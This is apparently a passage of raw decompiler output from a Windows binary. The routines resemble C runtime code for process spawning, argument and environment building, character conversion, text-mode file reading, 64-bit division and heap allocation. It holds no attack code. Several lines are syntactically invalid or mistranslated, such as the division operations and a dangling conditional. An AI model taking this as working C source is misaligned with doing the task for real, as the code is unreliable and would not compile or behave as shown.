eax = Vffffffd4;
(restore)ecx;
ebx = 0;
esi :: edi;
ecx = eax + 4;
if(!(edx = eax + esi + 4)) {
do {
eax = ebx;
edi = ebx;
eax = eax >> 5;
edi = edi & 31;
edi = *(eax * 4 + 6597728) + edi * 8;
al = *(edi + 4);
if(al & 16) {
*ecx = 0;
*edx = *edx | -1;
} else {
*ecx = al;
*edx = *edi;
}
ebx = ebx + 1;
ecx = ecx + 1;
edx = edx + 4;
} while(ebx < esi);
eax = Vffffffd4;
edi = 0;
}
if(Vffffffff != 0) {
ecx = eax + 4;
edx = 0;
for(eax = eax + esi + 4; 1; eax = eax + 4) {
ebx = esi >= 3 ? 3 : esi;
if(edx >= ebx) {
break;
}
*ecx = 0;
*eax = *eax | -1;
edx = edx + 1;
ecx = ecx + 1;
}
Vfffffff8 = 8;
}
*L0064A7F4 = edi;
(save) & Vffffffe4;
(save) & Vffffffa0;
(save)edi;
(save)A14;
*L0064A7F8 = edi;
(save)Vfffffff8;
(save)1;
(save)edi;
(save)edi;
(save)Vfffffff4;
(save)Ac;
esi = *__imp__CreateProcessA();
ebx = *__imp__GetLastError();
L00403CBE(Vffffffd4);
if(esi == edi) {
eax = L00406E93(ebx);
L0040795d:
eax = eax | -1;
} else {
if(A8 == 2) {
L004034A3(edi);
}
esi = __imp__CloseHandle;
if(A8 == edi) {
(save)-1;
(save)Vffffffe4;
*__imp__WaitForSingleObject();
(save) & A10;
(save)Vffffffe4;
*__imp__GetExitCodeProcess();
(save)Vffffffe4;
*esi();
} else {
if(A8 == 4) {
(save)Vffffffe4;
*esi();
A10 = edi;
} else {
A10 = Vffffffe4;
}
}
*esi(Vffffffe8);
eax = A10;
}
(restore)edi;
(restore)esi;
(restore)ebx;
}

/* Procedure: 0x004079BB - 0x00407BBE
* Argument size: 16
* Local size: 0
* Save regs size: 4
*/

L004079BB(A8, Ac, A10, A14)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
/* unknown */ void A14;
{
/* unknown */ void ebx;

ebx = A8;
(save)esi;
(save)edi;
esi = 2;
for(edi = 2; 1; edi = edi + L004035D0(eax) + 1) {
eax = *ebx;
if(eax == 0) {
break;
}
ebx = ebx + 4;
}
eax = L004072C1(edi);
*A10 = eax;
if(eax == 0) {
eax = A14;
*eax = 0;
} else {
edi = Ac;
if(edi != 0) {
while(1) {
eax = *edi;
if(eax == 0) {
goto L00407a3e;
}
edi = edi + 4;
esi = esi + L004035D0(eax) + 1;
}
}
ebx = A14;
edi = A14;
*A14 = 0;
L00407a23:
esi = *A10;
eax = A8;
A10 = eax;
eax = *A10;
if(eax != 0) {
goto L00407af8;
}
L00407a38:
esi = esi + 1;
goto L00407b17;
L00407a3e:
eax = *L0064A848;
if(eax == 0) {
eax = L00405CDE();
*L0064A848 = eax;
if(eax == 0) {
goto L00407af0;
}
}
if(*eax != 0) {
edi = eax;
cl = *edi;
do {
if(cl == 61) {
break;
}
ebx = ebx + L004035D0(edi) + 1;
eax = *L0064A848;
cl = *(eax + ebx);
edi = eax + ebx;
} while(cl != 0);
}
edi = ebx;
for(eax = eax + ebx; *eax == 61 && *(eax + 1) != 0 && *(eax + 2) == 58 && *(eax + 3) == 61; eax = *L0064A848 + edi) {
edi = edi + L004035D0(eax + 4) + 5;
}
eax = L004072C1(edi - ebx + esi);
*A14 = eax;
if(eax != 0) {
goto L00407a23;
}
esi = A10;
eax = L00403CBE( *esi);
*esi = 0;
}
*L0064A7F4 = 12;
*L0064A7F8 = 8;
L00407af0:
eax = eax | -1;
goto L00407bba;
L00407af8:
(save)eax;
L00403240(esi);
eax = A8;
ecx = *eax;
A10 = eax + 4;
esi = esi + L004035D0(ecx) + 1;
L00407b17:
eax = *A10;
if(eax != 0) {
(save)eax;
L00403240(esi);
eax = A10;
A10 = A10 + 4;
esi = esi + L004035D0( *eax);
*esi = 32;
goto L00407a38;
}
*(esi - 1) = 0;
*esi = 0;
esi = *A14;
if(Ac != 0) {
L00407360(esi, *L0064A848 + ebx, edi - ebx);
esi = esi + edi - ebx;
for(edi = Ac; 1; esi = esi + L004035D0(eax) + 1) {
eax = *edi;
if(eax == 0) {
break;
}
(save)eax;
L00403240(esi);
eax = *edi;
edi = edi + 4;
}
}
if(esi != 0) {
if(esi == *A14) {
*esi = 0;
esi = esi + 1;
}
*esi = 0;
}
L00403CBE( *L0064A848);
*L0064A848 = 0;
eax = 0;
L00407bba:
(restore)edi;
(restore)esi;
}

/* Procedure: 0x00407BBF - 0x00407BFD
* Argument size: 12
* Local size: 0
* Save regs size: 0
*/

L00407BBF(A8, Ac, A10)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
{

if(A10 == 0) {
return(0);
}
eax = L0040926C( *L0064AC24, 1, A8, A10, Ac, A10, *L0064AA00);
if(eax == 0) {
return(2147483647);
}
return(eax + -2);
}

/* Procedure: 0x00407BFE - 0x00407C6B
* Argument size: 0
* Local size: 0
* Save regs size: 16
*/

L00407BFE()
{
/* unknown */ void ecx;
/* unknown */ void ebx;
/* unknown */ void ebp;
/* unknown */ void esi;
/* unknown */ void Vffffffcc;
/* unknown */ void Vffffffec;

esi = *L0064A824;
(save)edi;
edi = 0;
eax = *esi;
if(eax != 0) {
ebx = __imp__WideCharToMultiByte;
do {
(save)edi;
(save)edi;
(save)edi;
(save)edi;
(save)-1;
(save)eax;
(save)edi;
(save)1;
eax = *ebx();
ebp = eax;
if(ebp == edi) {
goto L00407c67;
}
eax = L004072C1(ebp);
Vffffffec = eax;
if(eax == edi) {
goto L00407c67;
}
(save)edi;
(save)edi;
(save)ebp;
(save)eax;
(save)-1;
(save) *esi;
(save)edi;
(save)1;
eax = *ebx();
if(eax == 0) {
goto L00407c67;
}
(save)edi;
L004094E9(Vffffffcc);
eax = *(esi + 4);
esi = esi + 4;
(restore)ecx;
} while(eax != edi);
}
eax = 0;
L00407c61:
(restore)edi;
return;
L00407c67:
eax = eax | -1;
goto L00407c61;
}

/* Procedure: 0x00407C6C - 0x00407CAF
* Argument size: 4
* Local size: 0
* Save regs size: 0
*/

L00407C6C(A4)
/* unknown */ void A4;
{

*L0064A85C = *L0064A85C + 1;
eax = L004072C1(4096);
*(A4 + 8) = eax;
if(eax != 0) {
*(A4 + 12) = *(A4 + 12) | 8;
*(A4 + 24) = 4096;
} else {
*(A4 + 12) = *(A4 + 12) | 4;
*(A4 + 8) = A4 + 20;
*(A4 + 24) = 2;
}
eax = *(A4 + 8);
*(A4 + 4) = 0;
*A4 = eax;
return(*A4);
}

/* Procedure: 0x00407CB0 - 0x00407D1F
* Argument size: 8
* Local size: 0
* Save regs size: 0
*/

L00407CB0(A8, Ac)
/* unknown */ void A8;
/* unknown */ void Ac;
{

eax = A8;
if(eax == 0) {
return;
}
if(*L0064A9E0 == 0) {
if(Ac > 255) {
goto L00407d09;
}
(save)1;
*eax = cl;
(restore)eax;
return;
}
A8 = 0;
eax = *__imp__WideCharToMultiByte( *L0064A9F0, 544, & Ac, 1, eax, *L0040CB2C, 0, & A8);
if(eax == 0 || A8 != 0) {
L00407d09:
*L0064A7F4 = 42;
eax = eax | -1;
}
return;
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
}

/* Procedure: 0x00407D20 - 0x00407D8F
* Argument size: 16
* Local size: 0
* Save regs size: 8
*/

L00407D20(Ac, A10, A14, A18)
/* unknown */ void Ac;
/* unknown */ void A10;
/* unknown */ void A14;
/* unknown */ void A18;
{
/* unknown */ void ebx;
/* unknown */ void esi;

eax = A18;
if(eax == 0) {
edx = 0;
ecx = A14 / A14;
edx = ecx % ecx;
eax = Ac;
edx = ecx / ecx % ecx / ecx;
edx = A10;
} else {
ecx = eax;
ebx = A14;
edx = A10;
eax = Ac;
do {
ecx = ecx >> 1;
asm("rcr ebx,1");
edx = edx >> 1;
asm("rcr eax,1");
} while(ecx != 0);
edx = ebx / ebx % ebx / ebx;
esi = eax;
asm("mul dword [esp+0x18]");
ecx = eax;
eax = A14;
asm("mul esi");
if(!(edx = edx + ecx) && edx <= A10) {
< ? L00407d7f : ;
if(eax <= Ac) {
goto L00407d7f;
}
}
esi = esi - 1;
L00407d7f:
edx = 0;
eax = esi;
}
return;
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
asm("int3");
}

/* Procedure: 0x00407D90 - 0x00407E04
* Argument size: 16
* Local size: 0
* Save regs size: 4
*/

L00407D90(A8, Ac, A10, A14)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
/* unknown */ void A14;
{
/* unknown */ void ebx;

eax = A14;
if(eax == 0) {
eax = Ac;
edx = 0;
ecx = A10 / A10;
edx = ecx % ecx;
eax = A8;
eax = ecx / ecx % ecx / ecx;
edx = 0;
} else {
ecx = eax;
ebx = A10;
edx = Ac;
eax = A8;
do {
ecx = ecx >> 1;
asm("rcr ebx,1");
edx = edx >> 1;
asm("rcr eax,1");
} while(ecx != 0);
edx = ebx / ebx % ebx / ebx;
ecx = eax;
asm("mul dword [esp+0x14]");
asm("xchg eax,ecx");
asm("mul dword [esp+0x10]");
if(!(edx = edx + ecx) && edx <= Ac) {
< ? L00407df2 : ;
if(eax <= A8) {
goto L00407df2;
}
}
eax = eax - A10;
asm("sbb edx,[esp+0x14]");
L00407df2:
eax = eax - A8;
asm("sbb edx,[esp+0xc]");
edx = ~edx;
eax = ~eax;
asm("sbb edx,+0x0");
}
}

/* Procedure: 0x00407E05 - 0x00407FFA
* Argument size: 12
* Local size: 12
* Save regs size: 8
*/

L00407E05(A8, Ac, A10)
/* unknown */ void A8;
/* unknown */ void Ac;
/* unknown */ void A10;
{
/* unknown */ void ebx;
/* unknown */ void esi;
/* unknown */ void Vfffffff4;
/* unknown */ void Vfffffff8;
/* unknown */ void Vffffffff;

esi = A8;
(save)edi;
if(esi < *L0064AD60) {
eax = esi;
esi = esi & 31;
eax = eax >> 5;
esi = esi << 3;
ebx = eax * 4 + 6597728;
eax = *(eax * 4 + 6597728) + esi;
dl = *(eax + 4);
if(dl & 1) {
goto L00407fe2;
}
Vfffffff8 = 0;
edi = Ac;
ecx = edi;
if(A10 != 0 && !(dl & 2)) {
if(!(dl & 72)) {
al = *(eax + 5);
if(al != 10) {
A10 = A10 - 1;
*edi = al;
eax = *ebx;
ecx = edi + 1;
Vfffffff8 = 1;
*(eax + esi + 5) = 10;
}
}
(save)0;
(save) & Vfffffff4;
(save)A10;
(save)ecx;
(save) *( *ebx + esi);
if(*__imp__ReadFile() != 0) {
goto L00407ecd;
}
eax = *__imp__GetLastError();
ecx = 5;
if(eax == 5) {
*L0064A7F4 = 9;
*L0064A7F8 = 5;
goto L00407ff3;
}
if(eax != 109) {
goto L00407ec1;
}
}
eax = 0;
goto L00407ff6;
L00407ec1:
eax = L00406E93(eax);
goto L00407ff3;
L00407ecd:
eax = *ebx;
edx = Vfffffff4;
Vfffffff8 = Vfffffff8 + edx;
ecx = eax + esi + 4;
al = *(eax + esi + 4);
if(!(al & 128)) {
if(edx != 0) {
if(*edi != 10) {
goto L00407ef2;
}
al = al | 4;
} else {
L00407ef2:
al = al & 251;
}
*ecx = al;
eax = Ac;
A10 = eax;
ecx = Vfffffff8 + eax;
Vfffffff8 = ecx;
if(eax < ecx) {
do {
al = *A10;
if(al == 26) {
goto L00407fc7;
}
if(al == 13) {
if(A10 < ecx - 1) {
goto L00407f31;
}
(save)0;
(save) & Vfffffff4;
A10 = A10 + 1;
(save)1;
(save) & Vffffffff;
(save) *( *ebx + esi);
if(*__imp__ReadFile() == 0 && *__imp__GetLastError() != 0 || Vfffffff4 == 0) {
goto L00407fb5;
}
if(!( *( *ebx + esi + 4) & 72)) {
goto L00407f7d;
}
if(edi == Ac && Vffffffff == 10) {
goto L00407f9b;
}
L00404E62(A8, -1, 1);
if(Vffffffff != 10) {
L00407fb5:
*edi = 13;
goto L00407fb8;
L00407f7d:
al = Vffffffff;
if(al != 10) {
*edi = 13;
ecx = *ebx;
edi = edi + 1;
*(ecx + esi + 5) = al;
goto L00407fb9;
L00407f31:
eax = A10 + 1;
if(*eax != 10) {
*edi = 13;
edi = edi + 1;
A10 = eax;
goto L00407fb9;
}
A10 = A10 + 2;
}
L00407f9b:
*edi = 10;
L00407fb8:
edi = edi + 1;
}
} else {
*edi = al;
edi = edi + 1;
A10 = A10 + 1;
}
L00407fb9:
ecx = Vfffffff8;
} while(A10 < ecx);
goto L00407fd7;
L00407fc7:
esi = *ebx + esi + 4;
al = *esi;
if(!(al & 64)) {
*esi = al | 2;
}
}
L00407fd7:
Vfffffff8 = edi - Ac;
}
eax = Vfffffff8;
} else {
L00407fe2:
*L0064A7F8 = 0;
*L0064A7F4 = 9;
L00407ff3:
eax = eax | -1;
}
L00407ff6:
(restore)edi;
}

stack space not deallocated on return
/* Procedure: 0x00407FFB - 0x004080CF
* Argument size: 12
* Local size: 0
* Save regs size: 0
*/

L00407FFB(Ac, A14)
/* unknown */ void Ac;
/* unknown */ void A14;
{

(save)ebx;
(save)esi;
esi = Ac;
(save)edi;
A14 = A14 * esi;
ebx = esi;
if(esi <= -32) {
if(esi == 0) {
esi = 1;
}
esi = esi + 15 & -16;
}
while(1) {
edi = 0;
if(esi <= -32) {
if(ebx <= *L0040CC78) {
(save)ebx;
edi = L004066E8();
if(edi != 0) {
break;
}
}
(save)esi;
(save)8;
(save) *L0064AC40;
edi = *__imp__HeapAlloc();
if(edi != 0) {
goto L0040806e;
}
}
if(*L0064A9CC == 0) {
goto L0040806e;
}
if(L00409153(esi) == 0) {
goto L00408074;
}
}
L00408B40(edi, 0, ebx);
L0040806e:
eax = edi;
L00408070:
(restore)edi;
(restore)esi;
(restore)ebx;
return;
L00408074:
eax = 0;
goto L00408070;
(save)esi;
(save)edi;
(save)3;
edi = 0;
(restore)esi;
if(*L0064BD80 > esi) {
L00408087:
eax = *( *L0064AD64 + esi * 4);
if(eax != 0) {
if(!( *(eax + 12) & 131) && L00403108(eax) != -1) {
edi = edi + 1;
}
if(esi >= 20) {
L00403CBE( *( *L0064AD64 + esi * 4));
*( *L0064AD64 + esi * 4) = 0;
}
}
esi = esi + 1;
if(esi < *L0064BD80) {
goto L00408087;
}
}
eax = edi;
(restore)edi;
(restore)esi;
}